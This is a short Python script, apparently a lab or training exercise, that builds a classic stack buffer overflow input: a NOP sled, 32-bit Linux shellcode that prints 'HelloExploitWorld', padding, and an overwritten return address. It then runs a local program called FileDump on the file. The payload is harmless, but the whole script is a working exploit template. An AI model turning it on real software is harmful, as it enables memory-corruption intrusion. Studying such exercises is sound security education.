#!/usr/bin/env python
# coding: UTF-8
import sys
import struct
import os

#write HelloExploitWorld
shellcode =  ""
shellcode += "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x64"
shellcode += "\x41\x41\x41\x68\x57\x6f\x72\x6c\x68\x6c"
shellcode += "\x6f\x69\x74\x68\x6f\x45\x78\x70\x68\x48"
shellcode += "\x65\x6c\x6c\x89\xe1\x31\xd2\xb2\x11\xcd"
shellcode += "\x80\xb0\x01\x31\xdb\xcd\x80"

retAddr = int("0xbfffed58",16)

nops1 = "\x90" * 400
nops2 = "\x90" * (520 - 4 - len(shellcode) - len(nops1))

buf = nops1 + shellcode + nops2 + struct.pack('<I', retAddr)

f = open("exploit.bin","wb")
f.write(buf)
f.close()

os.system("./FileDump exploit.bin")
